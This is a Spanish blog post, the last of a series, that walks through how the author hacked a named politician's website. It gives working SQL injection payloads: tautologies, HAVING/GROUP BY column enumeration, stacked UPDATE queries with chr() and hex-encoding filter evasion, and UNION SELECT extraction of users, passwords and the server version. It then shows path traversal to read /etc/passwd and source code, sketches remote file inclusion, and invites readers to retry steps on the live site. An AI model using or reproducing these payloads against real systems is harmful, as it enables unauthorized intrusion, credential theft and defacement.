Como se hackeó la pagina del peje(3) final

julio 9, 2007

1ra Parte

2da Parte

Hola de nuevo, perdón por la tardanza con esta parte del manual, he estado con muchas cosas que hacer, pero aquí estoy poniendo algo que creo es interesante, como se explotaron las vulnerabilidades del sitio del peje, pondré además que fué pasando por mi cabeza al ir encontrando cada vulnerabilidad, con el objetivo de hacerlo más claro y demostrar que no es la gran cosa.

Como decía antes las vulnerabilidades estaban en el sistemas de discursos, noticias, etc., yo me concentrare en la parte de comunicados, pero es lo mismo para cualquier sección. Recuerdo que los errores que pongo son mas o menos como recuerdo que se mostraban y con mis palabras, no los copie ni guarde capturas ya que no esperaba hacer esta guía

Primero, para darme cuenta que se permitía “inyectar” código sql, bastaba con seleccionar un mes del menu, entonces por post se enviaba la sentencia “?ano=2007&mes=3”, si yo agregaba un /*( inicio de comentarios en varios lenguajes de programación que tiene la característica de que siempre debe cerrarse con */), al no cerrarlo me marcaba un error como “Warning: pg_query(): Query failed: ERROR: parser: unterminated /* comment at or near from mes=/* and ano=2007 order by mes ASC”, que para conocedores😉, se muestra una parte de una sentencia sql, ¿qué podemos deducir de aquí?, pues muy fácil que una columna se llama ano, otra mes y algunos detalles que podrían utilizarse después.

Entonces, si en vez de poner /* pongo “3–“, es decir que quede así: “?ano=2007&mes=3–“(como dije antes, ‘–‘ son los comentarios en lenguaje sql), la sentencia yo pienso, que quedaría algo parecido a esto:

SELECT * FROM comunicados WHERE mes=3 and ano=2007…(más codigo)

nota: en esta parte yo no se como se llama la base de datos, el chiste de una inyección sql es “imaginar” la parte de la sentencia que no vez

¿Qué pasa con la sentencia?, que todo lo que sigue del mes es ahora un comentario y el servidor no lo pela, y si mi lógica es correcta mostraría “todas” las noticias del mes 3, puede probar entrando en la página del peje y en la sección de comunicados elegir un mes X, y a lo que se envié por post en mes agregarle –: comunicados.html?anio=2007&mes=1, esto se sigue pudiendo hacer ya que no es exactamente una vulnerabilidad, aunque yo recomendaría a cualquier webmaster evitar esto. Ahora, ¿Qué creen que pasaría si envío en mes: “3 or 1=1–“.

Exacto!,(esto al dia de hoy pueden también probarlo en el sitio web). como seguro ya dedujeron la sentencia quedaría algo así:

SELECT * FROM comunicados WHERE mes=3 or 1=1 and ano=2007….

Lo que mostraría todos los comunicados sin importar de que mes o año sean ya que la sentencia 1=1 (¿1 es igual a 1?) es siempre cierto.

Bueno, hasta aquí ya sabemos que el sitio es quizá vulnerable. Nuestro siguiente objetivo es saber el nombre de la base de datos y todas las columnas para intentar cambiar datos, y/o ejecutar un “UNION” del que hablaré más adelante.

Para lograr sacar las columnas se utiliza la sentencia sql “HAVING” esta, tiene la característica de que utiliza la sentencia “GROUP” que “agrupa” las columnas de una base de datos y que a su vez tiene la característica, de requerir que los datos que agrupe sean los mismo de la sentencia de lo contrario marca un error del que podemos extraer datos importantes. Ejemplo:

Sentencia válida

SELECT col_1,col_2,col_3 FROM dbase WHERE col_1=’n’ GROUP BY col_1,col_2,col_3 HAVING n_caracteristica

Sentencia inválida

SELECT col_1,col_2,col_3 FROM dbase WHERE col_1=’n’ GROUP BY col_1 HAVING n_caracteristica

En esta última sentencia marcaría un error como el siguiente:

Warning: pg_query(): Query failed: ERROR: Attribute dbase.col_2 must be GROUPed or used in an aggregate function

Si se dieron cuenta, nos muestra la siguiente columna que se debe de agrupar en la sentencia, si la sentencia fuera así:

SELECT col_1,col_2,col_3 FROM dbase WHERE col_1=’n’ GROUP BY col_1,col_2 HAVING n_caracteristica

El error sería algo así:

Warning: pg_query(): Query failed: ERROR: Attribute dbase.col_3 must be GROUPed or used in an aggregate function

Al ir agrupando cada columna nos va mostrando el nombre de la siguiente columna, hasta que agrupemos todas las columnas de esta manera podemos sacar el nombre de cada columna y además si se dan cuenta también regresa el nombre de la tabla actual.

nota para sacar el nombre de la primera columna solo se envía la sentencia “HAVING 1=1”, sin el GROUP

Entonces, regresando a la página del peje si enviamos en el mes: 3 having 1=1– , quedando: ?anio=2007&mes=3 having 1=1–, mostraba un error “como”:

Warning: pg_query(): Query failed: ERROR: Attribute comunicados.id must be GROUPed or used in an aggregate function

Entonces enviamos ahora: 3 group by id having 1=1– que devolvería algo como:

Warning: pg_query(): Query failed: ERROR: Attribute comunicados.titulo must be GROUPed or used in an aggregate function

Ahora enviamos: “3 group by id,titulo having 1=1–” y asi sucesivamente, es decir GROUP BY id,titulo,col_3,col_4,…,col_n siendo col_x el nombre de cada columna que vayamos sacando, hasta que no marque error, obtenemos todas las columnas de la tabla actual.

Ok ya tenemos todas las columnas y el nombre de la base de datos. ¿Qué sigue?, pues primero podríamos intentar modificar datos, esto se hace con la sentencia UPDATE que en sql sirve para modificar datos ya existentes, su sintaxis en la siguiente:

UPDATE tabla SET columna = expresión [, …] [ FROM lista ] [ WHERE condición ]

Para este intento y los que siguen, seleccionare un comunicado al azar, si lo hacemos podemos notar que se la dirección se ve de la siguiente forma: paginadelpeje/comunicados.html?id=57807, sabiendo que el id es el id del comunicado que se muestra, si por ejemplo cambiamos el id 57807 por “57807 or 1=1“, lograríamos que las sentencia siempre sea cierta y por lo tanto muestre el primer comunicado que encuentre en la base de datos, esto lo pueden probar en el sitio del peje. Con esto sabemos que también permite meter sentencias sql.

Ahora para probar si podemos modificar datos enviamos, por ejemplo, sabiendo que una columna se llamo por ejemplo “subtitulo” y la tabla es comunicados, podríamos probar enviar como id: “57807; UPDATE comunicados SET subtitulo=’prueba’ WHERE id=57807″.

nota: recuerdo que como decía en la segunda parte, no te dejaba enviar comilla simple ni palabras como update entonces para, enviar: subtitulo=’prueba’ enviabas: subtitulo=chr(112)||chr(114)||chr(117)||chr(101)||chr(98)||chr(97), siendo en chr(n), n, el código hexadecimal de cada letra de palabra “prueba”, quedando la cadena enviada así:

57807; UPDATE comunicados SET subtitulo=chr(112)||chr(114)||chr(117)||chr(101)||chr(98)||chr(97) WHERE id=57807

y a su vez codificar la cadena completa a código hexadecimal para evitar los filtros quedando esta así:

%35%37%38%30%37%3B%20%55%50%44%41%54%45%20%63%6F%6D%75%6E%69%63%61%64%6F%73%20%53%45%54%20%73%75%62%74%69%74%75%6C%6F%3D%63%68%72%28%31%31%32%29%7C%7C%63%68%72%28%31%31%34%29%7C%7C%63%68%72%28%31%31%37%29%7C%7C%63%68%72%28%31%30%31%29%7C%7C%63%68%72%28%39%38%29%7C%7C%63%68%72%28%39%37%29%20%57%48%45%52%45%20%69%64%3D%35%37%38%30%37%20

Esto aplica para todas las sentencias de las que hablaré

Al intentar hacer esto, me dí cuenta de que el usuario de la base de datos no tenía los privilegios para modificar datos, esta parte la explico por que es muy común que el administrador de la base de datos no tenga estos cuidados, de hecho tengo la teoría de que las primeras veces que hackearon la página, si se tenían estos privilegios.

Entonces busquemos otra vulnerabilidad, para esto usaré la sentencia “UNION”, esto es esencial para todo ataque de sql injection, con esta una técnica y con un poco de imaginación es posible mostrar casi cualquier dato de la base de datos, así como versiones del servidor, de la misma base de datos y todo tipo de Información importante.

La sintaxis es la siguiente:

SELECT fecha FROM noticias [WHERE condicion] UNION [ALL | DISTINCT] SELECT fecha FROM discursos [WHERE condicion]

En este ejemplo seleccionamos todas las fechas de una primera tabla(noticias) con “n” condición y además todas las fechas de una segunda tabla(discursos) con otra condición.

Para poder realizar este tipo de consulta es necesario cumplir con varias condiciones:

  • El numero de columnas que se selecciona en el primer SELECT debe ser exactamente igual al numero de columnas que se seleccionan después del UNION
  • Es necesario que los tipo de dato coincidan en la unión:

Ejemplo:

Invalido:

SELECT col_1,col_2,col_3 FROM tabla UNION select col_1 ,col_2 from tabla2

SELECT col_entero,col_fecha,col_cadena FROM tabla UNION select col_entero ,col_cadena,col_entero from tabla2

El primer error esta por que el numero de columnas en el union es menor al numero del primer select, en la segunda sentencia, los tipo de datos no coinciden lo que también generaría un error, esto es por una razón muy simple, ¿Cómo mostrar una cadena de texto en un campo que es entero?

Ok ya que entendimos esto prosigamos con la página.

La forma más facil para hacer el union y evitarse problemas con los tipos de datos y que funciono en este caso es enviar un union con las mismas columnas que ya se sacaron antes con HAVING es decir aqui cambiar el id por uno de una noticia inexistente y hacer un UNION cambiando el id por uno valido ej(sabiendo que no existe el id 111 pero si el 222):

pginadelpeje/dicursos.html?id=111 UNION SELECT id,fecha,discurso,autor from discursos where id=222–

nota: las columnas deben ser las mismas y en el mismo orden que las sacamos para asegurar que coincidancon las columnas originales

Si se hizo correctamente internamente buscarala noticia con el id 111 y ademas con el id 222, al no existir(supuestamente) el 111 mostrara la noticia con el id 222

Buenal lograr esto ya podias leer casi cualqueir dato de la base de datos por ejemplo remplazar la palabra autor por la intruccion current_user de postgre que mostraria el usuario actual del sistema o por ejemplo por version() que en vez de el autor mostraria la version de la base de datos que se esta atacando(perfecto para buscar vulnerabilidades existentes), etc, etc todo es cuestion de imaginación y de leer un poco el manual, para ver todas las intrucciones posibles basta con revisar el manual en este caso las instrucciones de informacion del sistema de postgresql http://www.postgresql.org/docs/8.2/static/functions-info.htm o las instrucciones de administración: http://www.postgresql.org/docs/8.2/static/functions-admin.html

A partir de hay están las vulnerabilidades graves y que pueden alterar el sistema, por ejemplo si hubiera tenido en su base de datos una con usuario y contraseñas podriamos mostrarlos solo cambiando las columnas por las columnas de la tabla de usuario algo asi:

pginadelpeje/dicursos.html?id=111 UNION SELECT id,current_date(),user,password from usuarios where user like ‘admin’–

Si notaron en vez del discurso muestro el usuario, en vez del autor el password, para la fecha utilizo una funcion de postgre, y que muestre un usuario que sea como admin

Lo mismo aplica para cualquier dato de culauier tabla del la base de datos, y se puede poner en muchas formas es decir no siempre funciona esa sintaxis en todos los sitios ya que depende del el tipo de base de datos, la version, y el programador mismo, hay que intentar varias maneras de poner la sentencia hasta que una sirva.

Bueno ya basta de detalles, de todo esto ¿que tenía la página del peje?.

Entre las columnas había una que se llamaba algo así como archivoalgo, para saber que era eso cambe una de las columnas que sabía que era de tipo string por esa columna, es decir enla sentencia era algo así:

‘111 union select col1,col2,archivoalgo,col4,col5,archivoalgo,col6,coln from discursos-

siendo la primera columna la original y la roja la que remplaze por otra por ejemplo el autor. Lo que encontre fué que en donde debía mostrar el autor(o la columna que remplazara) mostraba la direccón de un archivo, al abrir dicha direccón me di cuenta de que era el discurso, es decir el discurso no lo sacaba de la base de datos sino que leía el discurso con dicha direccón y lo mostraba, entonces que pasa si cambia esa direccón por unaque se me ocurra como por ejemplo el archivo /etc/passwd, que es el archivo que guarda todos los usuarios y muchas veces la contraseña(ya es más común, por seguridad que se guarden en el /etc/shadow que por supuesto no se puede leer).

Para leer el archivo hice pequeño un “calculo”, generalmente los servidores en linux como en este caso(la version del servidor y el tipo se sacaba con una funcion de postgre que la dice aplicando lo que decía arriba) se guardan en la carpeta /var/www/sitio/ cuando tiene muchos sitios alojados o simplemente en /var/www. Pensando que es /var/www tengo que regresarme 2 carpetas atras para estar en el directorio raiz y luego referirme a la carpeta “etc” y a su vez al archivo passwd entonces en la parte donde lee la direccion del archivo en vez de enviar archivoalgo envio ‘../../etc/passwd’ obviamente utilizando las técnicas para evitar filtros, esot mostraba en vez del discurso el contenido del archivo /etc/passwd y por lo mismo los usuarios del sistema. A partir de este momento podemos leer casi cuarquier archivo, por ejemplo el archivo index.php con el que podemos leer el codigo fuente del sitio, y por supuesto los que han programado un lenguaje web saben que estan las contraseñas de la base de datos y como esta programado el sitio me ahorrare los alcances de ésto. Otro cosa que podemos hacer es aplicar técnicas de RFI o remote file inclusion(otro día las tocare) que basicamente consisten en hacer que ejecuté un archivo que enviemos al por ejemplo enviar en vez del archivo una direccion como: ‘http:\miservidor\archivomalicioso.bad’ y aplicando las técnicas correctas ejecutaría el código que puede desde modificar una parte de la página hasta desabilitar completamnete el servidor.

Bueno es todo, y como coclusión quiero dejarles la ídea como una pequeña y simple fallá causada por la falta de una cultura de seguridad puede comprometer todo un sistema y/o dañar a toda una institución

Saludos y espera que le haya gustado, todavía tiene bastantes faltas de ortogrfía y quizá algunos errores cualquier comentario, duda o aclaración ya saben!!

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

A %d blogueros les gusta esto: